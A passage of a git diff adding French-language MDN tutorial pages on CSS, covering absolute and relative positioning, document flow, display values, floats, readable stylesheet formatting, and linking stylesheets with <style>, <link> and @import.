Pour positionner deux éléments l'un au dessus de l'autre, créez un élément parent conteneur avec les deux éléments à l'intérieur de celui-ci : +
+ 
+<DIV id="parent-div">
+<P id="forward">/</P>
+<P id="back">\</P>
+</DIV>
+
+
+

Dans votre feuille de style, rendez la position de l'élément parent relative. Il n'est pas nécessaire de spécifier un déplacement. Rendez ensuite la position des enfants absolute :

+
+ 
+#parent-div {
+  position: relative;
+  font: bold 200% sans-serif;
+  }
+
+#forward, #back {
+  position: absolute;
+  margin:0px;
+  top: 0px;
+  left: 0px;
+  }
+
+#forward {
+  color: blue;
+  }
+
+#back {
+  color: red;
+  }
+
+
+

Le résultat ressemble à ceci, avec la barre oblique inversée par dessus l'autre barre oblique :

+
+

/

+

\

+
+ + + + + + +
 
+

 

+
+ + + + + + + +
+ Plus de détails
L'ensemble des informations sur le positionnement prend deux chapitres entiers et assez complexes dans la spécification CSS : Visual formatting model et Visual formatting model details. +

Si vous réalisez des feuilles de style devant fonctionner dans de nombreux navigateurs, vous devrez aussi prendre en compte les différences dans la manière dont ceux-ci interprètent le standard, voire les erreurs présentes dans certaines versions particulières de certains d'entre-eux.

+
+

Action : spécification d'une mise en page

+

Modifiez vos exemples de document et de feuille de style à l'aide des exemples ci-dessus dans les sections Structure du document et Éléments flottants.

+

Dans l'exemple des éléments flottants, ajoutez une marge intérieure (padding) pour séparer le texte de la bordure de droite de 0.5 em.

+ + + + + + + +
+ Challenge
Modifiez votre document en ajoutant cette balise près de la fin, juste avant </BODY> + 
+<IMG id="fixed-pin" src="punaise-jaune.png" alt="Punaise jaune">
+
+

Si vous n'avez pas téléchargé l'image plus tôt dans ce tutoriel, téléchargez-la maintenant :

+ + + + + + +
Image:punaise-jaune.png
+

Essayez de deviner où l'image apparaîtra dans votre document. Actualisez dans votre navigateur pour voir si vous aviez raison.

+

Ajoutez une règle à votre feuile de style qui fixe l'image en haut à droite de votre document.

+

Actualisez dans votre navigateur et réduisez la taille de la fenêtre. Vérifiez que l'image reste en haut à droite même lorsque vous faites défiler votre document :

+
+
+

(A) Les océans

+
+
    +
  • Arctique
    • +
  • Atlantique
    • +
  • Pacifique
    • +
  • Indien
    • +
  • Antarctique
    • +
+
+

(B) Paragraphes numérotés

+
+

1 : Lorem ipsum

+

2 : Dolor sit

+

3 : Amet consectetuer

+

4 : Magna aliquam

+

5 : Autem veleum

+
+

 

+
+ Punaise jaune
+
+
+
+

 

+

Pour continuer

+

Si vous avez eu des difficultés à comprendre cette page, ou avez d'autres commentaires à son sujet, n'hésitez pas à contribuer à sa page de discussion.

+

Vous avez presque couvert tous les sujets de ce tutoriel CSS basique. La page suivante décrit des sélecteurs plus avancés pour les règles CSS, et certaines manières spécifiques de styler des tableaux : Tableaux.

diff --git a/files/fr/conflicting/learn/css/css_layout/introduction/index.html b/files/fr/conflicting/learn/css/css_layout/introduction/index.html new file mode 100644 index 0000000000..526af5a0b0 --- /dev/null +++ b/files/fr/conflicting/learn/css/css_layout/introduction/index.html @@ -0,0 +1,404 @@ +--- +title: La disposition en CSS +slug: Apprendre/CSS/Introduction_à_CSS/La_disposition +tags: + - Apprendre + - CSS +translation_of: Learn/CSS/CSS_layout/Introduction +translation_of_original: Learn/CSS/Basics/Layout +--- +

{{PreviousNext("Apprendre/CSS/Les_bases/Le_modèle_de_boîte","Apprendre/CSS/Comment/Mettre_en_forme_du_texte")}}

+ +

Pour organiser un document en positionnant ses éléments pour que la forme corresponde aux spécifications, on utilisera différentes propriétés CSS afin d'organiser la disposition des élément. CSS fournit de nombreux mécanismes pour organiser la disposition du contenu d'un document et les techniques modernes sont suffisamment complexes pour être décrites dans des articles séparés. Dans cet article, nous verrons les techniques de base, utilisées depuis plusieurs années.

+ +

Pour organiser correctement la disposition d'un document avec CSS, il y a quelques notions qu'il est préférable de connaître. Le concept le plus important est le flux du texte {{Glossary("HTML")}} et les façons dont on peut le modifier. Ces concepts clés sont essentiels et tous les mécanismes liés à la disposition feront référence à ce qui est expliqué ici..

+ +

Le flux

+ +

Simplifié à l'extrême, un document HTML est un document texte organisé avec des {{Glossary("balise","balises")}}. Dans un tel document, le texte « coule » sur les différentes lignes. Autrement dit, le texte est affiché dans le sens de lecture (de gauche à droite pour les langages latins comme le français ou l'italien) et est fragmenté automatiquement pour passer à la ligne à chaque fois que le texte atteint le bord du document.

+ +

+ +

+ +

Chaque {{Glossary("élément")}} du document pourra modifier ce flux de texte :

+ + + +

Les catégories d'affichage des éléments

+ +

CSS est utilisé pour définir la façon dont un élément HTML se comporte dans ce flux et comment il s'y inscrit. Le comportement d'un élément est défini avec la propriété {{cssxref('display')}}. Cette propriété peut prendre plusieurs valeurs mais voyons ici les quatre valeurs les plus importantes :

+ +
+
none
+
Cette valeur retire l'élément du flux, comme si l'élément et son contenu n'existaient pas.
+
inline
+
Cette valeur rend l'élément transparent au sens où il s'inscrit dans le flux de texte global, il est donc associé au texte l'environnant.
+
block
+
Cette valeur cassera le flux de texte pour insérer l'élément. Cela provoquera donc un saut de ligne avant et après. Le contenu de cet élément ne fait donc pas partie du flux global et suit donc les contraintes de l'élément définies par le modèle de boîte.
+
inline-block
+
Cette valeur est en quelque sorte un intermédiaire entre inline et block. Comme avec inline, les boîtes seront placées dans le flux global mais , comme avec block, le contenu ne fera pas partie du texte environnant..
+
+ +

Prenons un exemple.

+ +

Voici le code HTML qui sera utilisé :

+ +
<p class="none">
+  1. Je suis un chat noir,
+  <span>qui marche sous l'échelle </span>
+  et qui casse des miroirs.
+</p>
+
+<p class="inline">
+  2. Je suis un chat noir,
+  <span>qui marche sous l'échelle </span>
+  et qui casse des miroirs.
+</p>
+
+<p class="block">
+  3. Je suis un chat noir,
+  <span>wqui marche sous l'échelle </span>
+  et qui casse des miroirs.
+</p>
+
+<p class="inline-block">
+  4. Je suis un chat noir,
+  <span>qui marche sous l'échelle </span>
+  et qui casse des miroirs.
+</p>
+
+ +

On appliquera la feuille de style CSS suivante :

+ +
span {
+  width: 5em;
+  background: yellow;
+}
+
+.none span         { display: none;         }
+.inline span       { display: inline;       }
+.block span        { display: block;        }
+.inline-block span { display: inline-block; }
+ +

Cela fournira le résultat suivant :

+ +

{{EmbedLiveSample("Les_catégories_d'affichage_des_éléments", '100%', '300px')}}

+ +

Modifier le flux

+ +

En utilisant la propriété display, vous pouvez déjà modifier le flux. Il est toutefois possible d'aller plus loin.

+ +

La disposition du texte

+ +

En fin de compte, un document n'est qu'un long flux de texte et CSS fournit de nombreuses propriétés pour gérer la disposition du texte. La disposition du texte regroupe tout ce qui touche aux règles des sauts de ligne et à la façon dont le texte est positionné par rapport à la ligne de base naturelle.

+ +

Ces propriétés sont : {{cssxref("hyphens")}}, {{cssxref("text-align")}}, {{cssxref("text-align-last")}}, {{cssxref("text-indent")}}, {{cssxref("vertical-align")}}, {{cssxref("white-space")}}, {{cssxref("word-break")}} et {{cssxref("word-wrap")}}.

+ +

À l'exception de text-align et de text-indent, les autres propriétés ont des effets plutôt subtils sur le texte. Quant à vertical-align, il est souvent utilisé avec des boîtes en mode inline-block.

+ +

Là encore, un exemple vaut mieux qu'un long discours.

+ +

HTML :

+ +
<p lang="en">WHEN Scrooge awoke, it was so dark, that looking out of bed, he could scarcely distinguish the transparent window from the opaque walls of his chamber. He was endeavouring to pierce the darkness with his ferret eyes, when the chimes of a neighbouring church struck the four quarters. So he listened for the hour. To his great astonishment the heavy bell went on from six to seven, and from seven to eight, and regularly up to twelve; then stopped. Twelve! It was past two when he went to bed. The clock was wrong. An icicle must have got into the works. Twelve! He touched the spring of his repeater, to correct this most preposterous clock. Its rapid little pulse beat twelve: and stopped.</p>
+<p class="format" lang="en">WHEN Scrooge awoke, it was so dark, that looking out of bed, he could scarcely distinguish the transparent window from the opaque walls of his chamber. He was endeavouring to pierce the darkness with his ferret eyes, when the chimes of a neighbouring church struck the four quarters. So he listened for the hour. To his great astonishment the heavy bell went on from six to seven, and from seven to eight, and regularly up to twelve; then stopped. Twelve! It was past two when he went to bed. The clock was wrong. An icicle must have got into the works. Twelve! He touched the spring of his repeater, to correct this most preposterous clock. Its rapid little pulse beat twelve: and stopped.</p>
+
+ +

CSS :

+ +
.format {
+  /* On « tire » la première ligne sur
+     une distance de 2em */
+  text-indent: -2em;
+
+  /* Il faut compenser l'indentation négative
+     si on veut éviter que du texte saute et
+     pour garder l'ensemble du texte dans la
+     boîte de l'élément */
+  padding-left: 2em;
+
+  /* Le texte est aligné par rapport aux deux
+     bords et l'espace entre les mots est ajusté
+     pour le remplissage de la ligne */
+  text-align: justify;
+
+  /* La dernière ligne de texte du bloc est
+     centrée*/
+  -moz-text-align-last: center;
+       text-align-last: center;
+
+  /* Plutôt que le saut de ligne se fasse entre deux mots,
+     il peut être fait en découpant un mot, selon les règles
+     de la langue utilisée. Cela permet de découper le texte
+     clairement avec un trait d'union. Si cela ne vous
+     importe pas, vous pouvez utiliser word-break ou
+     word-wrap à la place  */
+  -webkit-hyphens: auto;
+     -moz-hyphens: auto;
+      -ms-hyphens: auto;
+          hyphens: auto;
+}
+ +
+

Note : Comme vous avez pu le voir, certaines propriétés sont écrites plusieurs fois avec un préfixe. Certaines propriétés sont expérimentales pour certains navigateurs et doivent donc être préfixées, c'est une bonne pratique que de les utiliser préfixées tant qu'elles sont expérimentales, tout en fournissant le nom de la propriété standard à la fin afin d'avoir la meilleure rétrocompatibilité possible.

+
+ +

Le résultat obtenu sera :

+ +

{{EmbedLiveSample('La_disposition_du_texte', '100%', '350')}}

+ +
+

Note : L'astuce utilisée pour compenser l'indentation négative est une astuce assez courante. Tout propriété qui accepte une longueur peut accepter une valeur négative. En jouant avec les valeurs négatives et en les compensant avec d'autres propriétés, il est possible de produire des effets visuels très intéressants, notamment quand on manipule les propriétés liées au modèle de boîte.

+
+ +

Le flottement

+ +

C'est une chose que de gérer du texte mais on va également vouloir positionner une boîte dans le document. Pour commencer, il faut gérer les boîtes flottantes. Les boîtes flottantes sont toujours attachées au flux global de texte mais le texte « coulera » autour. Si cela vous paraît, prenons un exemple.

+ +

Le flottement simple

+ +

HTML :

+ +
<div>
+  <p class="excerpt">"Why, it isn't possible," said Scrooge, "that I can have slept through a whole day and far into another night. It isn't possible that anything has happened to the sun, and this is twelve at noon!" </p>
+  <p> The idea being an alarming one, he scrambled out of bed, and groped his way to the window. He was obliged to rub the frost off with the sleeve of his dressing-gown before he could see anything; and could see very little then. All he could make out was, that it was still very foggy and extremely cold, and that there was no noise of people running to and fro, and making a great stir, as there unquestionably would have been if night had beaten off bright day, and taken possession of the world. This was a great relief, because "three days after sight of this First of Exchange pay to Mr. Ebenezer Scrooge or his order," and so forth, would have become a mere United States' security if there were no days to count by.</p>
+</div>
+ +

CSS :

+ +
.excerpt {
+  /* Une boîte flottante agira comme un bloc
+     quelle que soit la valeur de display */
+  display: block;
+
+  /* La boîte flottera à gauche ce qui signifie
+     qu'elle sera sur la partie gauche du bloc
+     englobant et que le texte « coulera » sur sa
+     droite. */
+  float: left;
+
+  /* Il est nécessaire de déclarer une largeur pour
+     une boîte flottante. Si on ne le fait pas, la
+     largeur sera calculée automatiquement et occupera
+     autant d'espace que possible. Cela aurait eu le
+     même effet qu'un bloc ordinaire. */
+  width: 40%;
+
+  /* On définit une marge à droite et en bas pour éviter
+     que le texte qui flotte autour soit collé à celui de
+     la boîte */
+  margin: 0 1em 1em 0;
+
+  /* On rend la boîte flottante plus visible avec une
+     oucleur d'arrière-plan */
+  background: lightgrey;
+
+  /* Puisque l'arrière-plan est opaque, on ajoute un écart
+     entre le contenu et les bords de la boîte */
+  padding: 1em;
+}
+ +

Ces éléments permettront d'avoir :

+ +

{{ EmbedLiveSample('Le_flottement_simple', '100%', '280') }}

+ +

Organiser une disposition avec le flottement

+ +

La méthode précédente est simple et illustre comment manipuler le flux. Il est possible d'aller plus loin et d'organiser l'ensemble de la disposition du document avec. Les boîtes flottantes dans une direction donnée s'empilent horizontalement, cela permet de créer très facilement des lignes de boîtes. Les boîtes qui sont des blocs forment s'empilent elles sous forme de colonnes.

+ +

Là encore, illustrons le point avec un exemple.

+ +

HTML :

+ +
<div class="layout">
+  <div class="row">
+    <p class="cell size50">Scrooge went to bed again, and thought, and thought, and thought it over and over and over, and could make nothing of it. The more he thought, the more perplexed he was; and the more he endeavoured not to think, the more he thought.</p>
+    <p class="cell size50">Marley's Ghost bothered him exceedingly. Every time he resolved within himself, after mature inquiry, that it was all a dream, his mind flew back again, like a strong spring released, to its first position, and presented the same problem to be worked all through, "Was it a dream or not?"</p>
+  </div>
+  <div class="row">
+    <p class="cell size100">Scrooge lay in this state until the chime had gone three quarters more, when he remembered, on a sudden, that the Ghost had warned him of a visitation when the bell tolled one. He resolved to lie awake until the hour was passed; and, considering that he could no more go to sleep than go to Heaven, this was perhaps the wisest resolution in his power.</p>
+  </div>
+  <div class="row">
+    <p class="cell size33">The quarter was so long, that he was more than once convinced he must have sunk into a doze unconsciously, and missed the clock. At length it broke upon his listening ear.</p>
+    <p class="cell size33">
+      "Ding, dong!"<br>
+      "A quarter past," said Scrooge, counting.<br>
+      "Ding, dong!"<br>
+      "Half-past!" said Scrooge.<br>
+      "Ding, dong!"<br>
+      "A quarter to it," said Scrooge.
+    </p>
+    <p class="cell size33">
+      "Ding, dong!"<br>
+      "The hour itself," said Scrooge, triumphantly, "and nothing else!"<br>
+      He spoke before the hour bell sounded, which it now did with a deep, dull, hollow, melancholy ONE. Light flashed up in the room upon the instant, and the curtains of his bed were drawn.
+    </p>
+  </div>
+</div>
+ +

CSS :

+ +
/* Le conteneur principal pour la disposition */
+.layout {
+  /* On ajoute un arrière-plan pour le rendre
+     visible */
+  background: lightgrey;
+
+  /* On ajoute un léger interstice pour harmoniser
+     la distance entre le contenu des cellules et
+     la bordure du conteneur principal */
+  padding   : 0.5em;
+}
+
+/* Ici, on empêche les boîtes flottantes de
+   dépasser d'un conteneur (ce qui peut arriver
+   si le conteneur est vide car il aura alors
+   une hauteur nulle). Avec overflow
+   hidden, la boîte flottante ne passera pas à
+   travers et la boîte parente sera agrandie
+   pour éviter un dépassement de la boîte.  */
+.row {
+  overflow: hidden;
+}
+
+/* Chaque cellule sera une boîte flottante à gauche */
+.cell {
+  float : left;
+
+  /* On ajoute du padding pour créer un écart visuel
+     entre les cellules */
+  padding   : 0.5em;
+
+  /* Étant donné qu'on ajoute du padding, il faut
+     s'assurer que cela ne touchera pas la largeur
+     de la boîte. */
+  box-sizing: border-box;
+
+  /* Comme la marge ne peut pas être contrôlée par
+     la propriété box-sizing, on s'assure d'en
+     avoir aucune appliquée ici. */
+  margin    : 0;
+}
+
+/* Voici les tailles appliquées aux boîtes */
+.size33  { width:  33%; } /* Pas un tiers mais presque */
+.size50  { width:  50%; } /* Une moitié */
+.size100 { width: 100%; } /* Une ligne */
+ +

Cela donnera le résultat suivant :

+ +

{{EmbedLiveSample('Organiser_une_disposition_avec_le_flottement', '100%', '520')}}

+ +

De nombreux frameworks CSS utilisent ces méthodes de boîtes flottantes. C'est une technique robuste et connue mais qui a ses limites : tout doit être géré avec le flux, il n'est pas possible de gérer un ordre arbitraire pour les boîtes, de gérer des dimensionnements variables et il est impossible de centrer verticalement des éléments. Nous vous encourageons à poursuivre la réflexion, les boîtes flottantes sont étudiées depuis longtemps (article en anglais) et constituent une des solutions les plus robustes pour gérer une disposition simple, compatible avec les navigateurs historiques.

+ +

Si vous souhaitez en savoir plus sur les subtilités des boîtes flottantes, nous vous invitons à lire All about float (en anglais) par Chris Coyer.

+ +

Le positionnement

+ +

Si les boîtes flottantes font partie du flux, il existe un autre mécanisme qui permet d'organiser une disposition en extrayant les boîtes du flux : le positionnement CSS. Le positionnement fonctionne en définissant un contexte de positionnement grâce à la propriété {{cssxref("position")}} puis en permettant aux boites de se positionner en utilisant les propriétés {{cssxref("top")}}, {{cssxref("left")}}, {{cssxref("right")}}, and {{cssxref("bottom")}}.

+ +

La propriété {{cssxref("position")}} peut prendre quatre valeurs différentes :

+ +
+
static
+
La valeur par défaut pour tous les éléments : ils font partie du flux et on ne définit pas un contexte de positionnement spécifique.
+
relative
+
Avec cette valeur, les éléments font toujours partie du flux mais peuvent être déplacés visuellement avec les valeurs des propriétés {{cssxref("top")}}, {{cssxref("left")}}, {{cssxref("right")}} et {{cssxref("bottom")}}. Ces propriétés définissent le contexte de positionnement des éléments fils.
+
absolute
+
Avec cette valeur, les éléments ne sont plus placés dans le flux et ne l'influencent plus. La position du bloc est définie avec les propriétés {{cssxref("top")}}, {{cssxref("left")}}, {{cssxref("right")}} et {{cssxref("bottom")}}. Le point de position 0,0  représente le coin en haut à gauche de l'élément parent le plus proche qui définit un contexte de positionnement autre que static. S'il n'y a pas de tel parent, la position 0,0 représente le coin en haut à gauche du document.
+
fixed
+
Avec cette valeur, les éléments ne sont plus placés dans le flux et ne l'influencent plus. La position du bloc est définie avec les propriétés {{cssxref("top")}}, {{cssxref("left")}}, {{cssxref("right")}}, and {{cssxref("bottom")}}. La position 0,0 représente le coin en haut à gauche de fenêtre du navigateur ({{Glossary("viewport")}}).
+
+ +

Les boîtes positionnées de cette façon peuvent s'empiler les unes sur les autres. Dans ce cas, il est possible de changer l'ordre d'empilement grâce à la propriété {{cssxref("z-index")}}.

+ +

Une dernière fois, prenons un exemple pour illustrer le concept.

+ +

Le code HTML pour le document sera :

+ +
<p>
+  The curtains of his bed were drawn aside, I tell you, by a hand. Not the curtains at his feet, nor the curtains at his back, but those to which his face was addressed. The curtains of his bed were drawn aside; and Scrooge, starting up into a half-recumbent attitude, found himself face to face with the unearthly visitor who drew them: as close to it as I am now to you, and I am standing in the spirit at your elbow.
+  <span class="topleft">1</span>
+</p>
+<p class="relative">
+  It was a strange figure--like a child: yet not so like a child as like an old man, viewed through some supernatural medium, which gave him the appearance of having receded from the view, and being diminished to a child's proportion. Its hair, which hung about its neck and down its back, was white as if with age; and yet the face had not a wrinkle in it, and the tenderest bloom was on the skin. The arms were very long and muscular; the hands the same, as if its hold were of uncommon strength. Its legs and feet, most delicately formed, were, like those upper members, bare. It wore a tunic of the purest white; and round its waist was bound a lustrous belt, the sheen of which was beautiful. It held a branch of fresh green holly in its hand; and, in singular contradiction of that wintry emblem, had its dress trimmed with summer flowers. But the strangest thing about it was, that from the crown of its head there sprung a bright clear jet of light, by which all this was visible; and which was doubtless the occasion of its using, in its duller moments, a great extinguisher for a cap, which it now held under its arm.
+  <span class="topleft">2</span>
+  <span class="stackdown">3</span>
+  <span class="stackup">4</span>
+</p>
+ +

La feuille de style CSS sera :

+ +
p {
+  margin: 1em
+}
+
+span {
+  font       : 2em sans-serif;
+  width      : 6rem;
+
+  /* Avoir la hauteur de l'élément et la hauteur
+     de la ligne avec la même valeur permet de
+     centrer verticalement une ligne de texte. */
+  height     : 6rem;
+  line-height: 6rem;
+
+  text-align : center;
+  background : rgba(0, 255, 255, 0.8);
+}
+
+.relative {
+  position: relative;
+}
+
+/* Tous les éléments de la classe "topleft"
+   sont positionnés dans le coin en haut à
+   gauche de leur parent dans le contexte
+   de positionnement */
+.topleft {
+  position: absolute;
+  top     : 0;
+  left    : 0;
+}
+
+.stackup {
+  position: absolute;
+  top     : 37%;
+  left    : 62%;
+
+  /* Tous les éléments de la classe "stackup"
+     sont placés au-dessus des éléments dont
+     le z-index est inférieur à 2 dans le même
+     contexte de positionnement. */
+  z-index : 2;
+}
+
+.stackdown {
+  position: absolute;
+  top     : 50%;
+  left    : 66%;
+
+  /* Tous les éléments de la classe "stackdown"
+     sont placés sous les éléments dont le
+     z-index est supérieur à 1 dans le même
+     contexte de positionnement. */
+  z-index : 1;
+}
+
+ +

La combinaison de ces deux éléments donnera le résultat suivant :

+ +

{{EmbedLiveSample('Le_positionnement', '100%', '400')}}

+ +

Bien que le positionnement CSS ne soit pas réellement utile pour complètement organiser une disposition, il est généralement judicieux pour obtenir certains effets liés à la navigation, aux bulles d'informations, etc. C'est un mécanisme que vous rencontrerez fréquemment et nous vous encourageons donc à vous familiariser avec. Parmi les ressources qui existent par ailleurs, nous vous conseillons particulièrement de lire l'article CSS positioning 101 (en anglais), de Noah Stokes.

+ +

La suite

+ +

Le flux, les boîtes flottantes et le positionnement CSS sont les bases qui vous permettront d'approfondir la création d'une disposition en CSS. Suite à cette série d'articles sur les concepts théoriques de CSS, vous connaissez tout ce qu'il faut pour exploiter au mieux CSS. Après ce vernis théorique, vous pouvez aborder les aspects pratiques de CSS. Si vous souhaitez approfondir les concepts sur la disposition et découvrir les autres mécanismes à ce sujet, vous pouvez consulter les articles sur : les tableaux, l'organisation à plusieurs colonnes et la disposition avec les boîtes flexibles (flexbox).

+ +

{{PreviousNext("Apprendre/CSS/Les_bases/Le_modèle_de_boîte","Apprendre/CSS/Comment/Mettre_en_forme_du_texte")}}

diff --git a/files/fr/conflicting/learn/css/first_steps/how_css_is_structured/index.html b/files/fr/conflicting/learn/css/first_steps/how_css_is_structured/index.html new file mode 100644 index 0000000000..57da469f28 --- /dev/null +++ b/files/fr/conflicting/learn/css/first_steps/how_css_is_structured/index.html @@ -0,0 +1,155 @@ +--- +title: Des CSS lisibles +slug: CSS/Premiers_pas/Des_CSS_lisibles +tags: + - CSS + - 'CSS:Premiers_pas' +translation_of: Learn/CSS/Introduction_to_CSS/Syntax#Beyond_syntax_make_CSS_readable +translation_of_original: Web/Guide/CSS/Getting_started/Readable_CSS +--- +

 

+

Cette page aborde le style et la grammaire du langage CSS lui-même.

+

Vous modifierez l'aspect de votre fichier CSS pour le rendre plus lisible.

+

Information : des CSS lisibles

+

Vous pouvez ajouter des blancs et des commentaires à vos feuilles de style pour les rendre plus lisibles. Vous pouvez également grouper des sélecteurs ensemble, lorsque les même règles s'appliquent à des éléments sélectionnés de manière différente.

+

Insertion de blancs

+

Les feuilles de style peuvent être aérées à l'aide d'espaces, de tabulations et de retours à la ligne. Elles deviendront ainsi plus lisibles.

+

Votre fichier CSS d'exemple a actuellement une règle par ligne, et à peu près le minimum possible d'espaces blancs. Dans une feuille de style complexe, ce type de mise en page devient rapidement difficile à lire, et rend la feuille difficile à maintenir.

+

La mise en page à utiliser est généralement une question de préférence personnelle, mais si vos feuilles de style font partie de projets partagés, ceux-ci peuvent avoir leurs propres conventions.

+ + + + + + + +
+ Exemples
Certaines personnes aiment la mise en page compacte que nous avons utilisée jusqu'à présent, ne coupant une ligne que lorsqu'elle devient très longue : + 
+.carotte {color: orange; text-decoration: underline; font-style: italic;}
+
+

D'autres préfèrent un couple propriété-valeur par ligne :

+
+ 
+.carotte
+{
+color: orange;
+text-decoration: underline;
+font-style: italic;
+}
+
+
+

Certains utilisent une indentation — deux espaces, quatre espaces, ou encore une tabulation :

+
+ 
+.carotte {
+  color: orange;
+  text-decoration: underline;
+  font-style: italic;
+}
+
+
+

D'autres apprécient que tout soit aligné verticalement (mais ce type de mise en page est difficile à maintenir) :

+
+ 
+.carotte
+    {
+    color           : orange;
+    text-decoration : underline;
+    font-style      : italic;
+    }
+
+
+

Par ailleurs, si certains utilisent des tabulations, d'autres utiliseront uniquement des espaces.

+
+

Commentaires

+

Les commentaires en CSS commencent avec /* et se terminent par */.

+

Vous pouvez utiliser les commentaires pour ajouter vos remarques dans la feuille de style, mais aussi pour mettre en commentaire temporairement certaines parties à des fins de tests.

+

Pour mettre en commentaire une partie de feuille de style, placez les marques de commentaire de part et d'autre de celle-ci afin que le navigateur l'ignore. Veillez à commencer et à terminer le commentaire à des endroits appropriés, le reste de la feuille de style doit conserver une syntaxe correcte.

+ + + + + + + +
+ Exemple
+
+ 
+/* style pour la lettre C initiale dans le premier paragraphe */
+.carotte {
+  color:            orange;
+  text-decoration:  underline;
+  font-style:       italic;
+  }
+
+
+
+

Sélecteurs groupés

+

Lorsque beaucoup d'éléments ont le même style, vous pouvez spécifier un groupe de sélecteurs en les séparant par des virgules. La déclaration s'applique à chacun des éléments sélectionnés.

+

Ailleurs dans votre feuille de style, vous pouvez spécifier à nouveau les mêmes sélecteurs individuellement, pour leur appliquer des règles de style uniques.

+ + + + + + + +
+ Exemple
Cette règle rend les éléments H1, H2 et H3 de la même couleur. +

Il est pratique de spécifier la couleur en un seul endroit, au cas où celle-ci doit être changée par la suite.

+
+ 
+/* couleur pour les titres */
+h1, h2, h3 {color: navy;}
+
+
+
+

Action : ajout de commentaires et amélioration de la mise en page

+

Éditez votre fichier CSS, et assurez-vous qu'il comporte les règles suivantes (dans n'importe quel ordre) :

+
+ 
strong {color: red;}
+.carotte {color: orange;}
+.epinard {color: green;}
+#premier {font-style: italic;}
+p {color: blue;}
+
+
+

Rendez-le plus lisible en le réarrangeant d'une manière que vous trouvez logique, et en ajoutant des blancs et des commentaires où vous les trouvez appropriés.

+

Enregistrez le fichier et actualisez l'affichage de votre navigateur pour vérifier que vos changements n'ont pas affecté le fonctionnement de la feuille de style :

+ + + + + + + + + +
Cascading Style Sheets
Cascading Style Sheets
+

 

+ + + + + + + +
+ Challenge
Mettez en commentaire une partie de votre feuille de style, sans rien changer d'autre, afin de rendre la toute première lettre de votre document rouge : + + + + + + + + + +
Cascading Style Sheets
Cascading Style Sheets
+

(Il existe plusieurs manières de faire.)

+
+

 

+

Pour continuer

+

Votre feuille de style d'exemple mettait du texte en italique et souligné. La page suivante détaillera d'autres manières de spécifier l'apparence du texte dans votre document : Styles de texte

diff --git a/files/fr/conflicting/learn/css/first_steps/how_css_works/index.html b/files/fr/conflicting/learn/css/first_steps/how_css_works/index.html new file mode 100644 index 0000000000..ace461991e --- /dev/null +++ b/files/fr/conflicting/learn/css/first_steps/how_css_works/index.html @@ -0,0 +1,163 @@ +--- +title: Utiliser le CSS dans une page web +slug: Apprendre/CSS/Utiliser_CSS_dans_une_page_web +tags: + - Beginner + - CSS + - CodingScripting + - HTML + - NeedsActiveLearning +translation_of: Learn/CSS/First_steps/How_CSS_works +translation_of_original: Learn/CSS/Using_CSS_in_a_web_page +--- +
{{IncludeSubnav("/fr/Apprendre")}}
+ +
+

Cet article explique comment appliquer des styles {{glossary("CSS")}} à vos documents HTML.

+
+ + + + + + + + + + + + +
Prérequis :Il peut être utile de savoir comment écrire une page HTML simple et comment configurer les éléments de base d'un site web.
Objectif :Apprendre trois méthodes différentes pour ajouter des éléments de style à votre page web.
+ +

Il existe deux méthodes permettant d'appliquer du code CSS à vos documents HTML : écrire du CSS directement dans le document HTML ou bien appeler un fichier CSS externe à partir du document HTML.

+ +

Voyons comment appeler des informations CSS en utilisant les balises {{htmlelement("style")}} et {{htmlelement("link")}} et analysons ce qui se passe quand les deux balises sont utilisées conjointement.

+ +

Pédagogie active

+ +

Il n'y a, pour le moment, pas d'apprentissage actif pour cette section. Vous pouvez néanmoins contribuer.

+ +

Aller plus loin

+ +

La balise  <style>

+ +

Lorsque vous souhaitez mettre en forme une page, vous avez la possibilité d'inclure tout le formatage directement dans le document HTML à l'aide de la balise {{htmlelement("style")}} :

+ +
<!DOCTYPE html>
+<html>
+<head>
+    <title>La fameuse page « Hello World »</title>
+
+    <style>
+        body {
+            background:white;
+            color:blue;
+        }
+    </style>
+
+</head>
+  <body>
+    <p>Hello world!</p>
+  </body>
+</html>
+ +

Comme nous l'avons déjà souligné, ce n'est pas la meilleure méthode pour mettre en forme une page web puisque, dans ce cas, il sera nécessaire de répéter cette portion de code dans toutes les autres pages de votre site. Cela sollicitera de la bande passante supplémentaire et vous fera également perdre du temps puisqu'il faudra recopier les styles à chaque fois pour mettre à jour chaque page.

+ +

Néanmoins, comme nous le verrons à la fin, cette façon de procéder peut s'avérer utile lorsque l'objectif est d'appliquer un style à une seule page de votre site.

+ +

La balise <link>

+ +

La balise {{htmlelement("link")}} permet, entre autres choses, d'appliquer un formatage au document donné à partir d'une feuille de style externe. Lorsqu'un certain nombre de documents HTML utilisent cette même feuille de style, vous pouvez simplement modifier la mise en page de l'ensemble des documents grâce à un seul fichier.

+ +

Prenons l'exemple de ce code CSS et plaçons le dans un fichier demo.css :

+ +
/* demo.css */
+ body {
+     background:white;
+     color:blue;
+ }
+ +

Chaque fois qu'on a besoin d'appliquer ce style à un document, il suffit alors d'appeler le fichier demo.css grâce à la balise link :

+ +
<!DOCTYPE html>
+<html>
+<head>
+    <title>La fameuse page « Hello World »</title>
+
+    <link rel="stylesheet" href="demo.css">
+
+</head>
+  <body>
+    <p>Hello world!</p>
+  </body>
+</html>
+ +
+

Pour en savoir plus sur la configuration des fichiers sur un serveur, vous pouvez vous reférer à la section Comment configurer les éléments de base d'un site web.

+
+ +

Chaque page qui appellera le fichier demo.css via la balise link bénéficiera alors des styles contenus dans le fichier CSS. Cela permet non seulement de réduire la taille des fichiers HTML, de plus le système de cache (du serveur web, des serveurs de proxies et du navigateur) sera capable de lire le fichier demo.css autant de fois que nécessaire alors qu'il ne sera chargé en mémoire qu'une seule fois. Les performances en seront très largement améliorées.

+ +
+

Alternative imparfaite : <style> + @import

+ +

A la place de la balise <link>, vous trouverez peut-être parfois cette syntaxe :

+ +
<style type="text/css">
+        @import url(demo.css);
+    </style>
+ +

C'est une autre façon d'arriver au même résultat, mais nous recommandons d'utiliser <link> pour des raisons de performance (à l'inverse d' @import, la balise <link> permet en effet le téléchargement en parallèle de plusieurs ressources CSS). Il y a quelques années il était courant d'utiliser @import dans certains cas spécifiques de manière à ce que les anciens navigateurs ne lisent pas les instructions de formatage qu'ils ne supportaient pas correctement.

+
+ +

Utiliser <style> et <link> ensemble

+ +

Les possibilités deviennent encore plus intéressantes lorsqu'on mélange les deux méthodes. Dans les paragraphes précédents, nous avons mentionné le fait que la balise style pouvait être utile si la mise en forme s'applique à un seul document du site.

+ +

